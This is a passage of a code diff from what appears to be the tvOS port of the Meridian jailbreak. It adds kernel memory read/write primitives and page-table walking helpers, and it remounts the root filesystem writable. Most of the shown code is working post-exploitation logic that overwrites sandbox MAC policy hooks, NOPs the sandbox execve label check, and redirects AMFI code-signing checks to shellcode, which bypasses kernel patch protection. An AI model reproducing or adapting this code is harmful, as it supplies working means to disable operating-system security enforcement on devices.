+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_stat)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_truncate)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_unlink)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_write)), 0);
+
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_notify_create)), 0);
+        
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_signal)),0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_wait)),0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_suspend_resume)),0);
+       /*
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_debug)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_expose_task)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_get_task_name)), 0);
+        WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_proc_check_get_task)), 0);
+         WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_vnode_check_revoke)), 0);
+        */
+        //WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_file_check_ioctl)),0);
+       // WriteAnywhere64(NewPointer(sbops+offsetof(struct mac_policy_ops, mpo_policy_syscall)),0);
+        //mpo_file_check_ioctl
+        //mpo_proc_check_suspend_resume
+        //mpo_proc_check_wait
+       //look into this one mpo_iokit_check_hid_control
+        //mpo_policy_syscall
+        //mpo_proc_check_proc_info
+        
+        // mpo_cred_check_label_update_execve - tihmstar
+        // WARNING - has to patched like this or Widgets (and javascript?) fail.
+      
+        {
+            uint64_t off = find_sandbox_label_update_execve();
+            
+            LOG("find_sandbox_label_update_execve = 0x%llx", off);
+            LOG("----------");
+            LOG("unslid = 0x%llx", off - slide);
+            LOG("was looking for: 0xfffffff006c35fb8");
+            LOG("----------");
+            
+            #define INSN_NOP  0xd503201f
+            RemapPage(off);
+            WriteAnywhere32(NewPointer(off), INSN_NOP);
+        }
+       
+    }
+    
+    {
+        uint64_t point = kpp_find_amfiret()-0x18;
+
+        RemapPage((point & (~PMK)));
+        uint64_t remap = NewPointer(point);
+
+        assert(ReadAnywhere32(point) == ReadAnywhere32(remap));
+
+        WriteAnywhere32(remap, 0x58000041);
+        WriteAnywhere32(remap + 4, 0xd61f0020);
+        WriteAnywhere64(remap + 8, shc+0x200); /* amfi shellcode */
+
+    }
+
+    for (int i = 0; i < z; i++) {
+        WriteAnywhere64(plist[i], physcode + 0x100);
+    }
+
+    while (ReadAnywhere32(kernvers-4) != 1) {
+        sleep(1);
+    }
+
+    printf("[INFO]: enabled patches\n");
+    
+    ret = KERN_SUCCESS;
+
+cleanup:
+    return ret;
+}

+ 35 - 0
Meridian/meridianTV/kpp/kppcommon.h

@@ -0,0 +1,35 @@
+#ifndef COMMON_H
+#define COMMON_H
+
+#include <stdint.h>             // uint*_t
+
+#import <Foundation/Foundation.h>
+
+#ifdef __LP64__
+#   define ADDR "0x%016llx"
+    typedef uint64_t kptr_t;
+#else
+#   define ADDR "0x%08x"
+    typedef uint32_t kptr_t;
+#endif
+
+#define LOG(str, args...) do { NSLog(@str "\n", ##args); } while(0)
+
+
+// Re-direct LOG macro to GUI ...
+
+//#include "ViewController.h"
+//extern id controller;
+//#define LOG(str, args...) do { \
+//    if (controller && [controller respondsToSelector:@selector(log:)]) { \
+//        if ([NSThread isMainThread]) { \
+//            [controller log:[NSString stringWithFormat:@str "\n", ##args]]; \
+//        } else { \
+//            [controller performSelectorOnMainThread:@selector(log:) withObject:[NSString stringWithFormat:@str "\n", ##args] waitUntilDone:NO]; \
+//        } \
+//    } else { \
+//        NSLog(@str "\n", ##args); \
+//    } \
+//} while(0)
+
+#endif

+ 32 - 0
Meridian/meridianTV/kpp/kppkernel.h

@@ -0,0 +1,32 @@
+//
+//  kernel.h
+//  g0blin
+//
+//  Created by Ben on 16/12/2017.
+//
+
+#include <mach/mach.h>
+
+void kpp_init_kernel(task_t tfp0);
+size_t tfp0_kpp_kread(uint64_t where, void *p, size_t size);
+uint64_t kpp_rk64(uint64_t kaddr);
+uint32_t kpp_rk32(uint64_t kaddr);
+void kpp_wk64(uint64_t kaddr, uint64_t val);
+void kpp_wk32(uint64_t kaddr, uint32_t val);
+size_t kpp_kwrite(uint64_t where, const void *p, size_t size);
+size_t kwrite_uint64(uint64_t where, uint64_t value);
+size_t kwrite_uint32(uint64_t where, uint32_t value);
+
+
+kern_return_t mach_vm_write(vm_map_t target_task,
+                            mach_vm_address_t address,
+                            vm_offset_t data,
+                            mach_msg_type_number_t dataCnt);
+
+kern_return_t mach_vm_read_overwrite(vm_map_t target_task,
+                                     mach_vm_address_t address,
+                                     mach_vm_size_t size,
+                                     mach_vm_address_t data,
+                                     mach_vm_size_t *outsize);
+
+kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int);

+ 176 - 0
Meridian/meridianTV/kpp/kppkernel.m

@@ -0,0 +1,176 @@
+//
+//  kernel.m
+//  g0blin
+//
+//  Created by Ben on 16/12/2017.
+//
+
+#include "kppkernel.h"
+#include "kppcommon.h"
+#include <mach/mach.h>
+
+static task_t tfp0;
+
+void kpp_init_kernel(task_t task_for_port0) {
+    tfp0 = task_for_port0;
+}
+
+size_t tfp0_kpp_kread(uint64_t where, void *p, size_t size)
+{
+    int rv;
+    size_t offset = 0;
+    while (offset < size) {
+        mach_vm_size_t sz, chunk = 2048;
+        if (chunk > size - offset) {
+            chunk = size - offset;
+        }
+        rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
+        
+        if (rv || sz == 0) {
+            break;
+        }
+        
+        offset += sz;
+    }
+    return offset;
+}
+
+uint64_t kpp_rk64(uint64_t kaddr) {
+    uint64_t lower = kpp_rk32(kaddr);
+    uint64_t higher = kpp_rk32(kaddr + 4);
+    return ((higher << 32) | lower);
+}
+
+uint32_t kpp_rk32(uint64_t kaddr) {
+    kern_return_t err;
+    uint32_t val = 0;
+    mach_vm_size_t outsize = 0;
+    
+    // mach (for kern r/w primitives)
+    kern_return_t mach_vm_write(vm_map_t target_task,
+                                mach_vm_address_t address,
+                                vm_offset_t data,
+                                mach_msg_type_number_t dataCnt);
+
+    err = mach_vm_read_overwrite(tfp0,
+                                 (mach_vm_address_t)kaddr,
+                                 (mach_vm_size_t)sizeof(uint32_t),
+                                 (mach_vm_address_t)&val,
+                                 &outsize);
+    
+    if (err != KERN_SUCCESS) {
+        // printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
+        // sleep(3);
+        return 0;
+    }
+    
+    if (outsize != sizeof(uint32_t)) {
+        // printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
+        // sleep(3);
+        return 0;
+    }
+    
+    return val;
+}
+
+void kpp_wk64(uint64_t kaddr, uint64_t val) {
+    uint32_t lower = (uint32_t)(val & 0xffffffff);
+    uint32_t higher = (uint32_t)(val >> 32);
+    kpp_wk32(kaddr, lower);
+    kpp_wk32(kaddr + 4, higher);
+}
+
+void kpp_wk32(uint64_t kaddr, uint32_t val) {
+    if (tfp0 == MACH_PORT_NULL) {
+        // printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
+        // sleep(3);
+        return;
+    }
+    
+    kern_return_t err;
+    err = mach_vm_write(tfp0,
+                        (mach_vm_address_t)kaddr,
+                        (vm_offset_t)&val,
+                        (mach_msg_type_number_t)sizeof(uint32_t));
+    
+    if (err != KERN_SUCCESS) {
+        // printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
+        return;
+    }
+}
+
+
+size_t
+kpp_kread(uint64_t where, void *p, size_t size)
+{
+    
+    if(tfp0 == MACH_PORT_NULL) {
+        printf("[ERROR]: tfp0's port is null!\n");
+    }
+    
+    int rv;
+    size_t offset = 0;
+    while (offset < size) {
+        mach_vm_size_t sz, chunk = 2048;
+        if (chunk > size - offset) {
+            chunk = size - offset;
+        }
+        rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
+        
+        if (rv || sz == 0) {
+            printf("[ERROR]: error reading buffer at @%p\n", (void *)(offset + where));
+            break;
+        }
+        offset += sz;
+    }
+    return offset;
+}
+
+uint64_t
+kread_uint64(uint64_t where)
+{
+    uint64_t value = 0;
+    size_t sz = kpp_kread(where, &value, sizeof(value));
+    return (sz == sizeof(value)) ? value : 0;
+}
+
+uint32_t
+kread_uint32(uint64_t where)
+{
+    uint32_t value = 0;
+    size_t sz = kpp_kread(where, &value, sizeof(value));
+    return (sz == sizeof(value)) ? value : 0;
+}
+
+
+size_t kpp_kwrite(uint64_t where, const void *p, size_t size) {
+    int rv;
+    size_t offset = 0;
+    while (offset < size) {
+        size_t chunk = 2048;
+        if (chunk > size - offset) {
+            chunk = size - offset;
+        }
+        rv = mach_vm_write(tfp0,
+                           where + offset,
+                           (mach_vm_offset_t)p + offset,
+                           (mach_msg_type_number_t)chunk);
+        
+        if (rv) {
+            printf("[kernel] error copying buffer into region: @%p \n", (void *)(offset + where));
+                   break;
+        }
+        
+        offset +=chunk;
+    }
+    
+    return offset;
+}
+
+size_t kwrite_uint64(uint64_t where, uint64_t value) {
+    return kpp_kwrite(where, &value, sizeof(value));
+}
+
+size_t kwrite_uint32(uint64_t where, uint32_t value) {
+    return kpp_kwrite(where, &value, sizeof(value));
+}

+ 32 - 0
Meridian/meridianTV/kpp/kppoffsets.h

@@ -0,0 +1,32 @@
+//
+//  offsets.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-26.
+//  Copyright © 2017 Sticktron. All rights reserved.
+//
+
+#ifndef offsets_h
+#define offsets_h
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+extern uint64_t OFFSET_ZONE_MAP;
+extern uint64_t OFFSET_KERNEL_MAP;
+extern uint64_t OFFSET_KERNEL_TASK;
+extern uint64_t OFFSET_REALHOST;
+extern uint64_t OFFSET_BZERO;
+extern uint64_t OFFSET_BCOPY;
+extern uint64_t OFFSET_COPYIN;
+extern uint64_t OFFSET_COPYOUT;
+extern uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL;
+extern uint64_t OFFSET_IPC_KOBJECT_SET;
+extern uint64_t OFFSET_IPC_PORT_MAKE_SEND;
+extern uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
+extern uint64_t OFFSET_ROP_ADD_X0_X0_0x10;
+extern uint64_t OFFSET_ROOT_MOUNT_V_NODE;
+
+kern_return_t init_offsets(void);
+
+#endif /* offsets_h */

File diff suppressed because it is too large
+ 2223 - 0
Meridian/meridianTV/kpp/kppoffsets.m


File diff suppressed because it is too large
+ 1266 - 0
Meridian/meridianTV/kpp/kpppatchfinder64.c


+ 47 - 0
Meridian/meridianTV/kpp/kpppatchfinder64.h

@@ -0,0 +1,47 @@
+//
+//  patchfinder64.h
+//  extra_recipe
+//
+//  Copyright © 2017 xerub. All rights reserved.
+//  Modified by Sticktron.
+//
+
+#ifndef PATCHFINDER64_H_
+#define PATCHFINDER64_H_
+
+#import "common.h"
+#import <mach/mach.h>
+
+int kpp_init_patchfinder(task_t tfp0, uint64_t base, const char *filename);
+void term_kernel(void);
+
+enum { SearchInCore, SearchInPrelink };
+
+uint64_t kpp_find_register_value(uint64_t where, int reg);
+uint64_t kpp_find_reference(uint64_t to, int n, int prelink);
+uint64_t kpp_find_strref(const char *string, int n, int prelink);
+uint64_t kpp_find_gPhysBase(void);
+uint64_t kpp_find_kernel_pmap(void);
+uint64_t kpp_find_amfiret(void);
+uint64_t kpp_find_ret_0(void);
+uint64_t kpp_find_amfi_memcmpstub(void);
+uint64_t kpp_find_sbops(void);
+uint64_t kpp_find_lwvm_mapio_patch(void);
+uint64_t kpp_find_lwvm_mapio_newj(void);
+
+uint64_t kpp_find_entry(void);
+const unsigned char *kpp_find_mh(void);
+
+uint64_t kpp_find_cpacr_write(void);
+uint64_t kpp_find_str(const char *string);
+uint64_t kpp_find_amfiops(void);
+uint64_t kpp_find_sysbootnonce(void);
+uint64_t kpp_find_trustcache(void);
+uint64_t kpp_find_amficache(void);
+
+uint64_t find_allproc(void);
+
+uint64_t find_sandbox_label_update_execve(void);
+
+
+#endif

+ 18 - 0
Meridian/meridianTV/kpp/kppremount.h

@@ -0,0 +1,18 @@
+//
+//  remount.h
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-27.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#ifndef remount_h
+#define remount_h
+
+#include <stdio.h>
+#include <mach/mach.h>
+
+kern_return_t do_remount(uint64_t slide);
+
+#endif /* remount_h */

+ 49 - 0
Meridian/meridianTV/kpp/kppremount.m

@@ -0,0 +1,49 @@
+//
+//  remount.m
+//  g0blin
+//
+//  Created by Sticktron on 2017-12-27.
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#include "kppoffsets.h"
+#include "kppcommon.h"
+#include "kppkernel.h"
+#include <sys/mount.h>
+
+#define KSTRUCT_OFFSET_MOUNT_MNT_FLAG   0x70
+#define KSTRUCT_OFFSET_VNODE_V_UN       0xd8
+
+kern_return_t do_remount(uint64_t slide) {
+    //uint64_t _rootnode = OFFSET_ROOT_MOUNT_V_NODE + slide;
+    
+    uint64_t _rootnode = 0xfffffff0075b40b0 + slide;
+    uint64_t rootfs_vnode = kpp_rk64(_rootnode);
+    
+    // read flags
+    uint64_t v_mount = kpp_rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
+    uint32_t v_flag = kpp_rk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG);
+    
+    // unset readonly, nosuid
+    v_flag = v_flag & ~MNT_NOSUID;
+    v_flag = v_flag & ~MNT_RDONLY;
+    
+    // write new flags, temporarily unsetting rootfs flag
+    kpp_wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG, v_flag & ~MNT_ROOTFS);
+    
+    // remount
+    char *nmz = strdup("/dev/disk0s1s1");
+    int lolr = mount("apfs", "/", MNT_UPDATE, (void *)&nmz);
+    if (lolr == -1) {
+        LOG("ERROR: could not remount '/'");
+        return KERN_FAILURE;
+    }
+    LOG("successfully remounted '/'");
+    
+    // set rootfs flag again
+    v_mount = kpp_rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
+    kpp_wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG, v_flag);
+    
+    return KERN_SUCCESS;
+}

+ 194 - 0
Meridian/meridianTV/kpp/pte_stuff.h

@@ -0,0 +1,194 @@
+//
+//  pte_stuff.h
+//  extra_recipe
+//
+//  Copyright © 2017 xerub. All rights reserved.
+//  Copyright © 2017 qwertyoruiop. All rights reserved.
+//
+
+#ifndef pte_stuff_h
+#define pte_stuff_h
+
+
+#define TTE_INDEX_SHIFT 3
+#define TTE_SIZE (1 << TTE_INDEX_SHIFT)
+#define TTE_INDEX(vma, level) ((vma.vm_info.level ## _index) << TTE_INDEX_SHIFT)
+#define TTE_GET(tte, mask) (tte & mask)
+#define TTE_SETB(tte, mask) tte = tte | mask
+#define TTE_SET(tte, mask, val) tte = ((tte & (~mask)) | (val & mask))
+#define TTE_IS_VALID_MASK 0x1
+#define TTE_IS_TABLE_MASK 0x2
+#define TTE_BLOCK_ATTR_INDEX_MASK 0x1C
+#define TTE_BLOCK_ATTR_NS_MASK 0x20
+#define TTE_BLOCK_ATTR_AP_MASK 0xC0
+#define TTE_BLOCK_ATTR_AP_RO_MASK 0x80
+#define TTE_BLOCK_ATTR_AP_CAN_EL0_ACCESS_MASK 0x40
+#define TTE_BLOCK_ATTR_SH_MASK 0x300
+#define TTE_BLOCK_ATTR_AF_MASK 0x400
+#define TTE_BLOCK_ATTR_NG_MASK 0x800
+#define TTE_PHYS_VALUE_MASK 0xFFFFFFFFF000ULL
+#define TTE_BLOCK_ATTR_CONTIG_MASK (1ULL << 52)
+#define TTE_BLOCK_ATTR_PXN_MASK (1ULL << 53)
+#define TTE_BLOCK_ATTR_UXN_MASK (1ULL << 54)
+#define VIRT_TO_PHYS(vaddr) (vaddr - gVirtBase + gPhysBase)
+#define PHYS_TO_VIRT(paddr) (paddr - gPhysBase + gVirtBase)
+uint64_t gPhysBase,gVirtBase,pmap_store,level1_table,hibit_guess;
+
+typedef union VMA_4K {
+    struct {
+        uint64_t block_off : 12;
+        uint64_t level3_index : 9;
+        uint64_t level2_index : 9;
+        uint64_t level1_index : 9;
+        uint64_t level0_index : 9;
+        uint64_t ttbr_selector : 16;
+    } __attribute__((packed)) vm_info;
+    uint64_t vmaddr;
+} VMA_4K;
+typedef union VMA_16K {
+    struct {
+        uint64_t block_off : 14;
+        uint64_t level3_index : 11;
+        uint64_t level2_index : 11;
+        uint64_t level1_index : 11;
+        uint64_t level0_index : 1;
+        uint64_t ttbr_selector : 16;
+    } __attribute__((packed)) vm_info;
+    uint64_t vmaddr;
+} VMA_16K;
+
+VMA_16K vad16;
+VMA_4K vad4;
+char isvad = 0;
+
+#define TTELog NSLog
+vm_size_t sz = 0;
+
+void checkvad() {
+    if (!sz) {
+        struct utsname u = { 0 };
+        uname(&u);
+        host_page_size(mach_host_self(), &sz);
+        printf("[INFO]: checkvad: %lx %x\n", sz, getpagesize());
+        if (strstr(u.machine, "AppleTV5,") == u.machine) {
+            sz = 4096; // this is 4k but host_page_size lies to us
+        }
+        assert(sz);
+        if (sz == 4096) {
+            isvad = 1;
+        }
+    }
+}
+
+void parse_block_tte(uint64_t tte) {
+    TTELog(@"TTE physaddr: %016llx", TTE_GET(tte, TTE_PHYS_VALUE_MASK));
+    TTELog(@"TTE table: %d", !!(TTE_GET(tte, TTE_IS_TABLE_MASK)));
+    TTELog(@"TTE valid: %d", !!(TTE_GET(tte, TTE_IS_VALID_MASK)));
+    TTELog(@"TTE userland eXecute Never: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_UXN_MASK)));
+    TTELog(@"TTE privileged eXecute Never: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_PXN_MASK)));
+    TTELog(@"TTE contiguous: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_CONTIG_MASK)));
+    TTELog(@"TTE not global: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_NG_MASK)));
+    TTELog(@"TTE access flag: %d", !!(TTE_GET(tte, TTE_BLOCK_ATTR_AF_MASK)));
+    TTELog(@"TTE shareable: %01llx", (TTE_GET(tte, TTE_BLOCK_ATTR_SH_MASK) >> 8));
+    TTELog(@"TTE access permissions: %s", (TTE_GET(tte, TTE_BLOCK_ATTR_AP_RO_MASK)) ? "Read only" : "Read/Write");
+    TTELog(@"TTE access permissions: %s", (TTE_GET(tte, TTE_BLOCK_ATTR_AP_CAN_EL0_ACCESS_MASK)) ? "EL0 (Userland) can access this page" : "EL0 (Userland) cannot access this page");
+}
+
+void pagestuff_64(vm_address_t vmaddr, void (^pagestuff_64_callback)(vm_address_t tte_addr, int addr), vm_address_t table, int level) {
+    
+    checkvad();
+    if (!table) table = level1_table;
+    if (!level) level = 1;
+    
+    vm_address_t tteaddr = 0;
+    
+    
+    
+    if (sz == 4096) {
+        VMA_4K target_addr;
+        target_addr.vmaddr = vmaddr;
+
+        if (level == 1) {
+            target_addr.vm_info.level1_index -= 0x1c0;
+        }
+
+        switch (level) {
+            case 0:
+                tteaddr = table + TTE_INDEX(target_addr, level0);
+                break;
+            case 1:
+                tteaddr = table + TTE_INDEX(target_addr, level1);
+                break;
+                
+            case 2:
+                tteaddr = table + TTE_INDEX(target_addr, level2);
+                break;
+                
+            case 3:
+                tteaddr = table + TTE_INDEX(target_addr, level3);
+                break;
+                
+            default:
+                break;
+        }
+        
+    } else if (sz == 4096*4) {
+        VMA_16K target_addr;
+        target_addr.vmaddr = vmaddr;
+        
+        switch (level) {
+            case 0:
+                tteaddr = table + TTE_INDEX(target_addr, level0);
+                break;
+            case 1:
+                tteaddr = table + TTE_INDEX(target_addr, level1);
+                break;
+                
+            case 2:
+                tteaddr = table + TTE_INDEX(target_addr, level2);
+                break;
+                
+            case 3:
+                tteaddr = table + TTE_INDEX(target_addr, level3);
+                break;
+                
+            default:
+                break;
+        }
+        
+        
+    }
+    
+    //parse_block_tte(level1_entry);
+    
+    pagestuff_64_callback(tteaddr, level);
+    
+    uint64_t level1_entry = ReadAnywhere64(tteaddr);
+    
+    if (TTE_GET(level1_entry, TTE_IS_TABLE_MASK) && level != 3) {
+        pagestuff_64(vmaddr, pagestuff_64_callback, (TTE_GET(level1_entry, TTE_PHYS_VALUE_MASK)) - gPhysBase + gVirtBase, level + 1);
+    }
+}
+
+uint64_t findphys_real(uint64_t virtaddr) {
+    __block uint64_t physvar = 0;
+    pagestuff_64(virtaddr, ^(vm_address_t tte_addr, int addr) {
+        uint64_t tte = ReadAnywhere64(tte_addr);
+        if (addr == 3) {\
+            physvar = TTE_GET(tte, TTE_PHYS_VALUE_MASK);
+        }
+    }, level1_table, isvad ? 1 : 2);
+    
+    return physvar;
+    
+}
+
+extern task_t tfp0;
+
+uint64_t physalloc(uint64_t size) {
+    uint64_t ret = 0;
+    mach_vm_allocate(tfp0, (mach_vm_address_t*) &ret, size, VM_FLAGS_ANYWHERE);
+    return ret;
+}
+
+#endif